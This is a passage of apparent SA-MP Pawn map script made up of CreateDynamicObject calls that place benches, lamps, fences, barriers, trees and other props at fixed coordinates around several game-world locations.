    CreateDynamicObject(14394,899.5000000,2230.1999512,9.5000000,0.0000000,0.0000000,179.9945068); //object(dr_gsnew10) (3)
639
    CreateDynamicObject(14394,899.5000000,2238.1999512,9.5000000,0.0000000,0.0000000,179.9945068); //object(dr_gsnew10) (4)
640
    CreateDynamicObject(14394,899.5000000,2246.1999512,9.5000000,0.0000000,0.0000000,179.9945068); //object(dr_gsnew10) (5)
641
    CreateDynamicObject(14394,899.5000000,2249.6000977,9.5000000,0.0000000,0.0000000,179.9945068); //object(dr_gsnew10) (6)
642
    CreateDynamicObject(1237,898.9000244,2254.0000000,9.6999998,0.0000000,0.0000000,287.9956055); //object(strtbarrier01) (13)
643
    CreateDynamicObject(1237,899.0000000,2217.8999023,9.6999998,0.0000000,0.0000000,287.9956055); //object(strtbarrier01) (14)
644
    CreateDynamicObject(3566,-205.6000061,2736.5000000,59.4949989,0.0000000,0.0000000,90.2445068); //object(lasntrk1) (25)
645
    CreateDynamicObject(3566,-213.0000000,2736.5000000,59.5000000,0.0000000,0.0000000,90.5000000); //object(lasntrk1) (25)
646
    CreateDynamicObject(3566,-230.6000061,2736.5000000,59.5000000,0.0000000,0.0000000,90.0000000); //object(lasntrk1) (25)
647
    CreateDynamicObject(3566,-205.6000061,2739.8000488,59.4949989,0.0000000,0.0000000,90.2445068); //object(lasntrk1) (25)
648
    CreateDynamicObject(3566,-213.0000000,2739.8000488,59.5000000,0.0000000,0.0000000,90.2498779); //object(lasntrk1) (25)
649
    CreateDynamicObject(3566,-230.6000061,2739.8000488,59.5000000,0.0000000,0.0000000,89.9945068); //object(lasntrk1) (25)
650
    CreateDynamicObject(3566,-205.8999939,2725.0000000,59.5000000,0.0000000,0.0000000,89.9945068); //object(lasntrk1) (25)
651
    CreateDynamicObject(3566,-223.5000000,2725.1000977,59.5000000,0.0000000,0.0000000,89.7445068); //object(lasntrk1) (25)
652
    CreateDynamicObject(3566,-238.3999939,2725.1999512,59.4949989,0.0000000,0.0000000,89.9945068); //object(lasntrk1) (25)
653
    CreateDynamicObject(3566,-238.3999939,2721.8999023,59.4949989,0.0000000,0.0000000,89.9945068); //object(lasntrk1) (25)
654
    CreateDynamicObject(3566,-220.8000031,2721.8000488,59.4949989,0.0000000,0.0000000,89.9945068); //object(lasntrk1) (25)
655
    CreateDynamicObject(3566,-205.8999939,2721.6999512,59.5000000,0.0000000,0.0000000,89.9945068); //object(lasntrk1) (25)
656
    CreateDynamicObject(983,-247.3999939,2738.1000977,62.4000015,0.0000000,0.0000000,0.0000000); //object(fenceshit3) (1)
657
    CreateDynamicObject(983,-242.6000061,2734.8999023,62.4000015,0.0000000,0.0000000,90.0000000); //object(fenceshit3) (2)
658
    CreateDynamicObject(983,-244.1999969,2734.8999023,62.4000015,0.0000000,0.0000000,90.0000000); //object(fenceshit3) (3)
659
    CreateDynamicObject(983,-244.1999969,2741.3000488,62.4000015,0.0000000,0.0000000,270.0000000); //object(fenceshit3) (4)
660
    CreateDynamicObject(983,-242.6000061,2741.3000488,62.4000015,0.0000000,0.0000000,270.0000000); //object(fenceshit3) (5)
661
    CreateDynamicObject(983,-239.5000000,2738.1000977,62.4000015,0.0000000,0.0000000,180.0000000); //object(fenceshit3) (6)
662
    CreateDynamicObject(8508,-205.0000000,2732.8999023,58.7000008,0.0000000,0.0000000,179.9945068); //object(genshop01_lvs) (3)
663
    CreateDynamicObject(8508,-221.3000031,2730.8000488,58.7000008,0.0000000,0.0000000,269.9890137); //object(genshop01_lvs) (3)
664
    CreateDynamicObject(8508,-238.6000061,2726.8999023,58.7000008,0.0000000,0.0000000,269.9890137); //object(genshop01_lvs) (3)
665
    CreateDynamicObject(1256,-202.3999939,2723.8999023,62.5999985,0.0000000,0.0000000,270.0000000); //object(stonebench1) (42)
666
    CreateDynamicObject(1256,-201.8999939,2737.8999023,62.5999985,0.0000000,0.0000000,90.0000000); //object(stonebench1) (43)
667
    CreateDynamicObject(1256,-206.1999969,2737.8999023,62.5999985,0.0000000,0.0000000,90.0000000); //object(stonebench1) (44)
668
    CreateDynamicObject(1256,-217.3000031,2737.8999023,62.5999985,0.0000000,0.0000000,90.0000000); //object(stonebench1) (45)
669
    CreateDynamicObject(1256,-221.3999939,2737.8999023,62.5999985,0.0000000,0.0000000,90.0000000); //object(stonebench1) (46)
670
    CreateDynamicObject(1256,-231.5000000,2737.8999023,62.5999985,0.0000000,0.0000000,90.0000000); //object(stonebench1) (47)
671
    CreateDynamicObject(1256,-235.6000061,2737.8999023,62.5999985,0.0000000,0.0000000,90.0000000); //object(stonebench1) (48)
672
    CreateDynamicObject(1256,-206.6999969,2723.8999023,62.5999985,0.0000000,0.0000000,270.0000000); //object(stonebench1) (49)
673
    CreateDynamicObject(1256,-231.3999939,2724.1000977,62.5999985,0.0000000,0.0000000,270.0000000); //object(stonebench1) (50)
674
    CreateDynamicObject(1256,-235.6999969,2724.1000977,62.5999985,0.0000000,0.0000000,270.0000000); //object(stonebench1) (51)
675
    CreateDynamicObject(1359,-233.6999969,2738.0000000,62.7000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
676
    CreateDynamicObject(1359,-219.3994141,2738.0000000,62.7000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
677
    CreateDynamicObject(1359,-204.0996094,2738.0000000,62.7000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
678
    CreateDynamicObject(1359,-204.5000000,2724.0000000,62.7000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
679
    CreateDynamicObject(1359,-233.5996094,2724.1992188,62.7000008,0.0000000,0.0000000,0.0000000); //object(cj_bin1) (5)
680
    CreateDynamicObject(1568,-211.6000061,2737.8000488,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (1)
681
    CreateDynamicObject(1568,-226.8000031,2737.8999023,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (2)
682
    CreateDynamicObject(1568,-211.6999969,2723.8999023,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (3)
683
    CreateDynamicObject(1568,-227.5000000,2724.3999023,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (4)
684
    CreateDynamicObject(1568,-198.3000031,2738.0000000,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (5)
685
    CreateDynamicObject(1568,-198.5000000,2723.6999512,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (6)
686
    CreateDynamicObject(1568,-240.6000061,2724.0000000,62.0000000,0.0000000,0.0000000,0.0000000); //object(chinalamp_sf) (7)
687
    CreateDynamicObject(1229,-224.8999939,2726.6999512,63.5000000,0.0000000,0.0000000,270.0000000); //object(bussign1) (8)
688
    CreateDynamicObject(1229,-225.0000000,2735.0000000,63.5000000,0.0000000,0.0000000,90.0000000); //object(bussign1) (9)
689
    CreateDynamicObject(3566,-751.9000244,1551.5999756,23.7000008,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (25)
690
    CreateDynamicObject(3566,-752.0000000,1534.0000000,23.7000008,0.0000000,0.0000000,359.7500000); //object(lasntrk1) (25)
691
    CreateDynamicObject(3566,-748.7000122,1534.0000000,23.7000008,0.0000000,0.0000000,359.7500000); //object(lasntrk1) (25)
692
    CreateDynamicObject(3566,-748.5999756,1551.5999756,23.7000008,0.0000000,0.0000000,0.0000000); //object(lasntrk1) (25)
693
    CreateDynamicObject(1280,-750.4000244,1530.5999756,26.6000004,0.0000000,0.0000000,0.0000000); //object(parkbench1) (2)
694
    CreateDynamicObject(1280,-750.2999878,1541.0999756,26.6000004,0.0000000,0.0000000,0.0000000); //object(parkbench1) (3)
695
    CreateDynamicObject(1280,-750.4000244,1534.1999512,26.6000004,0.0000000,0.0000000,0.0000000); //object(parkbench1) (4)
696
    CreateDynamicObject(1280,-750.2999878,1544.5000000,26.6000004,0.0000000,0.0000000,0.0000000); //object(parkbench1) (5)
697
    CreateDynamicObject(1280,-750.2999878,1551.8000488,26.6000004,0.0000000,0.0000000,0.0000000); //object(parkbench1) (6)
698
    CreateDynamicObject(1280,-750.2999878,1555.4000244,26.6000004,0.0000000,0.0000000,0.0000000); //object(parkbench1) (7)
699
    CreateDynamicObject(1229,-753.4000244,1546.1999512,27.7000008,0.0000000,0.0000000,0.0000000); //object(bussign1) (10)
700
    CreateDynamicObject(1223,-750.2999878,1532.4000244,26.2000008,0.0000000,0.0000000,180.0000000); //object(lampost_coast) (1)
701
    CreateDynamicObject(1223,-750.5000000,1542.8000488,26.2000008,0.0000000,0.0000000,179.9945068); //object(lampost_coast) (2)
702
    CreateDynamicObject(1223,-750.4000244,1553.5999756,26.2000008,0.0000000,0.0000000,179.9945068); //object(lampost_coast) (3)
703
    CreateDynamicObject(3566,-1539.3000488,2634.6000977,52.5000000,0.0000000,0.0000000,180.0000000); //object(lasntrk1) (25)
704
    CreateDynamicObject(3566,-1537.5999756,2634.6000977,52.4900017,0.0000000,0.0000000,179.9945068); //object(lasntrk1) (25)
705
    CreateDynamicObject(1223,-1538.6999512,2638.3000488,55.0000000,0.0000000,0.0000000,174.0000000); //object(lampost_coast) (4)
706
    CreateDynamicObject(1280,-1538.5000000,2628.8000488,55.4000015,0.0000000,0.0000000,0.0000000); //object(parkbench1) (8)
707
    CreateDynamicObject(1280,-1538.5000000,2635.0000000,55.4000015,0.0000000,0.0000000,0.0000000); //object(parkbench1) (9)
708
    CreateDynamicObject(1280,-1538.5000000,2641.3000488,55.4000015,0.0000000,0.0000000,0.0000000); //object(parkbench1) (10)
709
    CreateDynamicObject(1223,-1538.5000000,2631.6999512,55.0000000,0.0000000,0.0000000,173.9959717); //object(lampost_coast) (5)
710
    CreateDynamicObject(1229,-1540.8000488,2637.8999023,56.5000000,0.0000000,0.0000000,0.0000000); //object(bussign1) (11)
711
    CreateDynamicObject(3566,-2362.3000488,2496.8999023,1.9010000,0.0000000,0.0000000,201.9945068); //object(lasntrk1) (25)
712
    CreateDynamicObject(8508,-2338.8000488,2460.6999512,1.1000000,0.0000000,0.0000000,224.7500000); //object(genshop01_lvs) (17)
713
    CreateDynamicObject(8508,-2321.8999023,2430.0000000,1.1020000,0.0000000,0.0000000,56.7388916); //object(genshop01_lvs) (21)
714
    CreateDynamicObject(3955,-2279.1999512,2387.8000488,3.5000000,359.7515869,6.5000610,38.0283203); //object(rc_track_g) (1)
715
    CreateDynamicObject(3955,-2288.6000977,2400.1999512,3.4000001,359.7473145,6.4984131,34.0281982); //object(rc_track_g) (3)
716
    CreateDynamicObject(6959,-2280.0000000,2388.5996094,4.0999999,0.0000000,0.0000000,42.4896240); //object(vegasnbball1) (2)
717
    CreateDynamicObject(6959,-2306.8000488,2416.8000488,4.1999998,0.0000000,0.0000000,44.4896240); //object(vegasnbball1) (3)
718
    CreateDynamicObject(6959,-2334.3000488,2440.1999512,4.1799998,0.0000000,0.0000000,234.4891357); //object(vegasnbball1) (4)
719
    CreateDynamicObject(6959,-2349.6992188,2489.5000000,4.1999998,0.0000000,0.0000000,45.0000000); //object(vegasnbball1) (5)
720
    CreateDynamicObject(8508,-2341.1992188,2458.5000000,1.1020000,0.0000000,0.0000000,204.7467041); //object(genshop01_lvs) (38)
721
    CreateDynamicObject(6959,-2320.5000000,2518.6999512,4.1999998,0.0000000,0.0000000,224.9945068); //object(vegasnbball1) (6)
722
    CreateDynamicObject(6959,-2291.3999023,2547.8999023,4.1999998,0.0000000,0.0000000,224.9945068); //object(vegasnbball1) (7)
723
    CreateDynamicObject(10828,-2326.3000488,2484.1999512,2.7000000,0.0000000,0.0000000,45.0000000); //object(drydock1_sfse) (1)
724
    CreateDynamicObject(10828,-2301.3999023,2509.1000977,2.7000000,0.0000000,0.0000000,44.9945068); //object(drydock1_sfse) (2)
725
    CreateDynamicObject(10828,-2276.3994141,2534.0996094,2.7000000,0.0000000,0.0000000,44.9890137); //object(drydock1_sfse) (3)
726
    CreateDynamicObject(10828,-2274.6000977,2558.8999023,2.7000000,0.0000000,0.0000000,314.9945068); //object(drydock1_sfse) (4)
727
    CreateDynamicObject(3566,-2358.5000000,2507.1000977,1.9000000,0.0000000,0.0000000,134.9891357); //object(lasntrk1) (25)
728
    CreateDynamicObject(3566,-2346.0000000,2519.5000000,1.9000000,0.0000000,0.0000000,134.9890137); //object(lasntrk1) (25)
729
    CreateDynamicObject(3566,-2332.5996094,2527.1992188,1.9010000,0.0000000,0.0000000,100.9863281); //object(lasntrk1) (25)
730
    CreateDynamicObject(3566,-2355.6999512,2502.3000488,1.9010000,0.0000000,0.0000000,201.9891357); //object(lasntrk1) (25)
731
    CreateDynamicObject(3566,-2349.5000000,2509.5000000,1.9010000,0.0000000,0.0000000,201.9891357); //object(lasntrk1) (25)
732
    CreateDynamicObject(3566,-2343.0996094,2516.1992188,1.9010000,0.0000000,0.0000000,201.9891357); //object(lasntrk1) (25)
733
    CreateDynamicObject(3566,-2365.1992188,2495.2998047,1.9010000,0.0000000,0.0000000,201.9891357); //object(lasntrk1) (25)
734
    CreateDynamicObject(3566,-2364.8994141,2484.1992188,1.9000000,0.0000000,0.0000000,135.2362061); //object(lasntrk1) (25)
735
    CreateDynamicObject(3566,-2360.8999023,2509.3000488,1.9000000,0.0000000,0.0000000,134.9890442); //object(lasntrk1) (25)
736
    CreateDynamicObject(3566,-2348.3000488,2521.6999512,1.9000000,0.0000000,0.0000000,134.9890137); //object(lasntrk1) (25)
737
    CreateDynamicObject(3566,-2320.6999512,2525.3999023,1.9000000,0.0000000,0.0000000,30.0000000); //object(lasntrk1) (25)
738
    CreateDynamicObject(3566,-2312.0000000,2510.1999512,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
739
    CreateDynamicObject(3566,-2309.8999023,2513.1999512,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
740
    CreateDynamicObject(3566,-2307.3999023,2515.5000000,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
741
    CreateDynamicObject(3566,-2305.1999512,2518.1999512,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
742
    CreateDynamicObject(3566,-2318.6000977,2528.3999023,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
743
    CreateDynamicObject(3566,-2316.1999512,2530.8000488,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
744
    CreateDynamicObject(3566,-2314.0000000,2533.5000000,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
745
    CreateDynamicObject(5170,-2352.2998047,2515.5000000,6.3000002,0.0000000,0.0000000,43.9892578); //object(imnrmpy2_las2) (3)
746
    CreateDynamicObject(11505,-2305.6999512,2517.8999023,8.5000000,0.0000000,0.0000000,30.0000000); //object(des_garwcanopy) (1)
747
    CreateDynamicObject(11505,-2311.0000000,2527.1999512,8.5000000,0.0000000,0.0000000,29.9981689); //object(des_garwcanopy) (2)
748
    CreateDynamicObject(3566,-2302.5000000,2519.8999023,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
749
    CreateDynamicObject(3566,-2300.0000000,2522.1999512,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
750
    CreateDynamicObject(3566,-2311.1999512,2535.1999512,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
751
    CreateDynamicObject(3566,-2308.6000977,2537.3000488,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
752
    CreateDynamicObject(3566,-2297.6000977,2524.6000977,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
753
    CreateDynamicObject(3566,-2295.1999512,2527.0000000,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
754
    CreateDynamicObject(3566,-2306.3000488,2539.8999023,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
755
    CreateDynamicObject(3566,-2293.1999512,2530.1000977,1.9000000,0.0000000,0.0000000,29.9981689); //object(lasntrk1) (25)
756
    CreateDynamicObject(17864,-2287.8000488,2544.1000977,4.5000000,359.2500000,359.5000000,43.9934692); //object(comp_puchase) (3)
757
    CreateDynamicObject(3578,-2262.0000000,2395.8000488,3.4000001,0.0000000,0.0000000,292.4975586); //object(dockbarr1_la) (8)
758
    CreateDynamicObject(3578,-2259.6999512,2386.0000000,3.4000001,0.0000000,0.0000000,273.9965820); //object(dockbarr1_la) (10)
759
    CreateDynamicObject(3578,-2267.1999512,2404.3000488,3.4000001,0.0000000,0.0000000,310.0000000); //object(dockbarr1_la) (16)
760
    CreateDynamicObject(3578,-2274.0000000,2412.0000000,3.4000001,0.0000000,0.0000000,312.9951172); //object(dockbarr1_la) (17)
761
    CreateDynamicObject(3578,-2281.0000000,2419.3999023,3.4000001,0.0000000,0.0000000,313.9949951); //object(dockbarr1_la) (18)
762
    CreateDynamicObject(3578,-2288.1999512,2426.6000977,3.4000001,0.0000000,0.0000000,315.9947510); //object(dockbarr1_la) (19)
763
    CreateDynamicObject(3578,-2295.5000000,2433.8000488,3.4000001,0.0000000,0.0000000,314.9942932); //object(dockbarr1_la) (20)
764
    CreateDynamicObject(3578,-2302.6999512,2441.0000000,3.4000001,0.0000000,0.0000000,314.9890137); //object(dockbarr1_la) (21)
765
    CreateDynamicObject(3578,-2310.3999023,2447.6999512,3.4000001,0.0000000,0.0000000,322.9890137); //object(dockbarr1_la) (22)
766
    CreateDynamicObject(3578,-2318.6999512,2453.6999512,3.4000001,0.0000000,0.0000000,325.4870605); //object(dockbarr1_la) (23)
767
    CreateDynamicObject(3578,-2326.8999023,2459.6999512,3.4000001,0.0000000,0.0000000,322.2364807); //object(dockbarr1_la) (24)
768
    CreateDynamicObject(3578,-2334.6999512,2466.1999512,3.4000001,0.0000000,0.0000000,318.2344971); //object(dockbarr1_la) (25)
769
    CreateDynamicObject(973,-2268.3999023,2378.1999512,5.0000000,0.0000000,0.0000000,296.0000000); //object(sub_roadbarrier) (1)
770
    CreateDynamicObject(973,-2272.8999023,2386.3000488,5.0000000,0.0000000,0.0000000,302.2491455); //object(sub_roadbarrier) (2)
771
    CreateDynamicObject(973,-2278.3000488,2393.6999512,5.0000000,0.0000000,0.0000000,309.9948730); //object(sub_roadbarrier) (3)
772
    CreateDynamicObject(973,-2284.1000977,2400.8999023,5.0000000,0.0000000,0.0000000,307.4902344); //object(sub_roadbarrier) (4)
773
    CreateDynamicObject(973,-2289.5000000,2408.3000488,5.0000000,0.0000000,0.0000000,304.7353516); //object(sub_roadbarrier) (5)
774
    CreateDynamicObject(973,-2294.8999023,2415.5000000,5.0000000,0.0000000,0.0000000,308.9832764); //object(sub_roadbarrier) (6)
775
    CreateDynamicObject(973,-2300.8000488,2422.1999512,5.0000000,0.0000000,0.0000000,313.7294922); //object(sub_roadbarrier) (7)
776
    CreateDynamicObject(1237,-2266.1000977,2373.6999512,4.0999999,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (15)
777
    CreateDynamicObject(3578,-2257.5000000,2376.1999512,3.3000000,0.0000000,0.0000000,291.4935303); //object(dockbarr1_la) (28)
778
    CreateDynamicObject(3578,-2252.6000977,2367.5000000,3.3000000,0.0000000,0.0000000,307.4892578); //object(dockbarr1_la) (29)
779
    CreateDynamicObject(3578,-2249.0000000,2358.3999023,3.3000000,0.0000000,0.0000000,275.7353516); //object(dockbarr1_la) (30)
780
    CreateDynamicObject(1237,-2259.3999023,2379.8999023,4.0000000,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (17)
781
    CreateDynamicObject(3578,-2252.5000000,2350.3999023,3.2000000,0.0000000,1.2500000,219.7348633); //object(dockbarr1_la) (31)
782
    CreateDynamicObject(658,-2289.3000488,2535.6000977,3.0000000,0.0000000,0.0000000,0.0000000); //object(pinetree04) (1)
783
    CreateDynamicObject(658,-2278.6000977,2555.1999512,3.5000000,0.0000000,0.0000000,278.0000000); //object(pinetree04) (2)
784
    CreateDynamicObject(658,-2274.1000977,2540.1999512,1.8000000,0.0000000,0.0000000,0.0000000); //object(pinetree04) (3)
785
    CreateDynamicObject(14402,-2287.0000000,2530.6999512,4.5999999,0.0000000,0.0000000,0.0000000); //object(flower-bush09) (1)
786
    CreateDynamicObject(14402,-2283.3999023,2541.1999512,4.5999999,0.0000000,0.0000000,60.0000000); //object(flower-bush09) (2)
787
    CreateDynamicObject(14402,-2274.1000977,2544.6000977,4.5999999,0.0000000,0.0000000,319.9963379); //object(flower-bush09) (3)
788
    CreateDynamicObject(14402,-2277.3000488,2553.8000488,4.8000002,0.0000000,0.0000000,259.9932861); //object(flower-bush09) (4)
789
    CreateDynamicObject(1229,-2358.6999512,2506.1000977,5.9000001,0.0000000,0.0000000,20.0000000); //object(bussign1) (12)
790
    CreateDynamicObject(1229,-2352.1999512,2512.5000000,5.9000001,0.0000000,0.0000000,19.9951172); //object(bussign1) (13)
791
    CreateDynamicObject(1229,-2345.1992188,2519.0000000,5.9000001,0.0000000,0.0000000,19.9896240); //object(bussign1) (14)
792
    CreateDynamicObject(3578,-2357.3000488,2499.1999512,1.9000000,1.8676758,20.7586670,291.5167236); //object(dockbarr1_la) (32)
793
    CreateDynamicObject(3578,-2350.6999512,2505.6000977,1.9000000,1.8621826,20.7531738,291.5112305); //object(dockbarr1_la) (33)
794
    CreateDynamicObject(3578,-2344.1000977,2512.1000977,1.9000000,1.8621826,20.7531738,291.5112305); //object(dockbarr1_la) (34)
795
    CreateDynamicObject(1256,-2354.6999512,2513.1999512,5.0000000,0.0000000,0.0000000,135.5000000); //object(stonebench1) (52)
796
    CreateDynamicObject(1256,-2352.1000977,2515.6000977,5.0000000,0.0000000,0.0000000,135.7470703); //object(stonebench1) (53)
797
    CreateDynamicObject(1256,-2349.5000000,2518.3000488,5.0000000,0.0000000,0.0000000,135.4998779); //object(stonebench1) (54)
798
    CreateDynamicObject(1256,-2362.5000000,2505.3999023,5.0000000,0.0000000,0.0000000,135.4998779); //object(stonebench1) (55)
799
    CreateDynamicObject(1256,-2365.0000000,2503.0000000,5.0000000,0.0000000,0.0000000,135.4998779); //object(stonebench1) (56)
800
    CreateDynamicObject(1775,-2313.3000488,2530.1999512,5.5000000,0.0000000,0.0000000,1.9992676); //object(cj_sprunk1) (4)
801
    CreateDynamicObject(1776,-2346.0000000,2521.8994141,5.5000000,0.0000000,0.0000000,48.7463379); //object(cj_candyvendor) (2)
802
    CreateDynamicObject(3881,-2279.6999512,2422.1000977,5.8000002,0.0000000,0.0000000,43.9947510); //object(airsecbooth_sfse) (1)
803
    CreateDynamicObject(3657,-2309.8000488,2514.5000000,4.9000001,0.0000000,0.0000000,300.0000000); //object(airseata_las) (1)
804
    CreateDynamicObject(3657,-2315.3000488,2524.0000000,4.9000001,0.0000000,0.0000000,299.9981689); //object(airseata_las) (2)
805
    CreateDynamicObject(3657,-2314.3999023,2524.6999512,4.9000001,0.0000000,0.0000000,119.9981384); //object(airseata_las) (3)
806
    CreateDynamicObject(3657,-2309.0000000,2515.0000000,4.9000001,0.0000000,0.0000000,119.9981689); //object(airseata_las) (4)
807
    CreateDynamicObject(3657,-2306.1999512,2529.1000977,4.9000001,0.0000000,0.0000000,119.9926758); //object(airseata_las) (5)
808
    CreateDynamicObject(3657,-2300.8000488,2519.8000488,4.9000001,0.0000000,0.0000000,119.9926758); //object(airseata_las) (6)
809
    CreateDynamicObject(3657,-2301.6999512,2519.1000977,4.9000001,0.0000000,0.0000000,299.9926758); //object(airseata_las) (7)
810
    CreateDynamicObject(966,-2277.5000000,2415.8999023,4.0000000,0.0000000,0.0000000,45.9997559); //object(bar_gatebar01) (1)
811
    CreateDynamicObject(966,-2287.3000488,2405.6999512,4.0000000,0.0000000,0.0000000,225.9997559); //object(bar_gatebar01) (2)
812
    CreateDynamicObject(968,-2287.3000488,2405.6999512,5.0000000,0.0000000,9.9975586,46.2492676); //object(barrierturn) (1)
813
    CreateDynamicObject(968,-2277.5000000,2415.8999023,5.0000000,0.0000000,9.9975586,227.9992676); //object(barrierturn) (2)
814
    CreateDynamicObject(800,-2298.3000488,2412.5000000,6.4000001,0.0000000,0.0000000,0.0000000); //object(genveg_bush07) (1)
815
    CreateDynamicObject(800,-2217.7529297,2495.7861328,-8.2229748,0.0000000,0.0000000,0.0000000); //object(genveg_bush07) (2)
816
    CreateDynamicObject(800,-2306.6000977,2416.6000977,5.8000002,0.0000000,0.0000000,280.0000000); //object(genveg_bush07) (3)
817
    CreateDynamicObject(800,-2287.6999512,2396.6999512,6.0999999,0.0000000,0.0000000,279.9975586); //object(genveg_bush07) (4)
818
    CreateDynamicObject(800,-2277.6999512,2382.5000000,5.8000002,0.0000000,0.0000000,279.9975586); //object(genveg_bush07) (5)
819
    CreateDynamicObject(14394,-2363.8000488,2481.5000000,3.5000000,0.0000000,0.0000000,134.5000000); //object(dr_gsnew10) (7)
820
    CreateDynamicObject(970,-2360.8000488,2483.3000488,4.6999998,0.0000000,0.0000000,294.2500000); //object(fencesmallb) (6)
821
    CreateDynamicObject(970,-2359.1000977,2479.5000000,4.6999998,0.0000000,0.0000000,294.2468262); //object(fencesmallb) (24)
822
    CreateDynamicObject(970,-2357.3999023,2475.6999512,4.6999998,0.0000000,0.0000000,294.2468262); //object(fencesmallb) (27)
823
    CreateDynamicObject(970,-2355.6999512,2471.8999023,4.6999998,0.0000000,0.0000000,294.2468262); //object(fencesmallb) (29)
824
    CreateDynamicObject(970,-2355.1000977,2468.0000000,4.6999998,0.0000000,0.0000000,264.2468262); //object(fencesmallb) (30)
825
    CreateDynamicObject(8508,-2354.8999023,2464.1999512,1.1000000,0.0000000,0.0000000,204.7467041); //object(genshop01_lvs) (38)
826
    CreateDynamicObject(970,-2356.5000000,2464.3000488,4.6999998,0.0000000,0.0000000,234.2431641); //object(fencesmallb) (32)
827
    CreateDynamicObject(970,-2358.8999023,2461.0000000,4.6999998,0.0000000,0.0000000,233.7394714); //object(fencesmallb) (33)
828
    CreateDynamicObject(970,-2364.6999512,2507.8000488,4.9000001,0.0000000,0.0000000,224.2468262); //object(fencesmallb) (34)
829
    CreateDynamicObject(970,-2361.6999512,2510.6999512,4.9000001,0.0000000,0.0000000,224.2419434); //object(fencesmallb) (35)
830
    CreateDynamicObject(970,-2358.8000488,2513.5000000,4.9000001,0.0000000,0.0000000,224.2419434); //object(fencesmallb) (36)
831
    CreateDynamicObject(970,-2355.8999023,2516.3000488,4.9000001,0.0000000,0.0000000,224.2419434); //object(fencesmallb) (38)
832
    CreateDynamicObject(970,-2352.8999023,2519.1999512,4.9000001,0.0000000,0.0000000,224.2419434); //object(fencesmallb) (39)
833
    CreateDynamicObject(970,-2349.8999023,2522.1000977,4.9000001,0.0000000,0.0000000,224.2419434); //object(fencesmallb) (40)
834
    CreateDynamicObject(970,-2347.0000000,2524.8999023,4.9000001,0.0000000,0.0000000,223.9920044); //object(fencesmallb) (41)
835
    CreateDynamicObject(970,-2343.3999023,2526.5000000,4.9000001,0.0000000,0.0000000,183.9892426); //object(fencesmallb) (42)
836
    CreateDynamicObject(970,-2339.3999023,2527.1000977,4.9000001,0.0000000,0.0000000,192.9880371); //object(fencesmallb) (43)
837
    CreateDynamicObject(970,-2335.3999023,2528.0000000,4.9000001,0.0000000,0.0000000,192.9858398); //object(fencesmallb) (44)
838
    CreateDynamicObject(970,-2331.5000000,2528.8999023,4.9000001,0.0000000,0.0000000,192.9858398); //object(fencesmallb) (45)
839
    CreateDynamicObject(970,-2327.3999023,2529.6000977,4.9000001,0.0000000,0.0000000,185.9858551); //object(fencesmallb) (46)
840
    CreateDynamicObject(970,-2323.3999023,2530.0000000,4.9000001,0.0000000,0.0000000,185.2320557); //object(fencesmallb) (48)
841
    CreateDynamicObject(970,-2319.3999023,2530.3999023,4.9000001,0.0000000,0.0000000,185.2294922); //object(fencesmallb) (49)
842
    CreateDynamicObject(970,-2315.3000488,2530.6999512,4.9000001,0.0000000,0.0000000,183.2294922); //object(fencesmallb) (50)
843
    CreateDynamicObject(970,-2311.1999512,2531.0000000,4.9000001,0.0000000,0.0000000,185.2244873); //object(fencesmallb) (52)
844
    CreateDynamicObject(970,-2307.1000977,2531.6000977,4.9000001,0.0000000,0.0000000,190.4739990); //object(fencesmallb) (53)
845
    CreateDynamicObject(970,-2303.3000488,2532.6999512,4.9000001,0.0000000,0.0000000,202.4700317); //object(fencesmallb) (54)
846
    CreateDynamicObject(970,-2299.5000000,2534.3000488,4.9000001,0.0000000,0.0000000,202.4670410); //object(fencesmallb) (55)
847
    CreateDynamicObject(970,-2295.8999023,2533.8999023,4.9000001,0.0000000,0.0000000,144.4670410); //object(fencesmallb) (56)
848
    CreateDynamicObject(970,-2292.8999023,2531.1999512,4.9000001,0.0000000,0.0000000,130.4647217); //object(fencesmallb) (57)
849
    CreateDynamicObject(970,-2290.5000000,2527.8999023,4.9000001,0.0000000,0.0000000,121.4626770); //object(fencesmallb) (58)
850
    CreateDynamicObject(970,-2288.3999023,2524.3999023,4.9000001,0.0000000,0.0000000,121.2093506); //object(fencesmallb) (59)
851
    CreateDynamicObject(970,-2366.3000488,2504.3000488,4.9000001,0.0000000,0.0000000,268.2419434); //object(fencesmallb) (60)
852
    CreateDynamicObject(970,-2366.3000488,2500.1999512,4.9000001,0.0000000,0.0000000,271.7366943); //object(fencesmallb) (61)
853
    CreateDynamicObject(970,-2365.3999023,2496.3000488,4.9000001,0.0000000,0.0000000,294.4858398); //object(fencesmallb) (62)
854
    CreateDynamicObject(970,-2364.1000977,2492.5000000,4.9000001,0.0000000,0.0000000,283.2330322); //object(fencesmallb) (63)
855
    CreateDynamicObject(970,-2363.3000488,2489.1999512,4.9000001,0.0000000,0.0000000,283.2330322); //object(fencesmallb) (64)
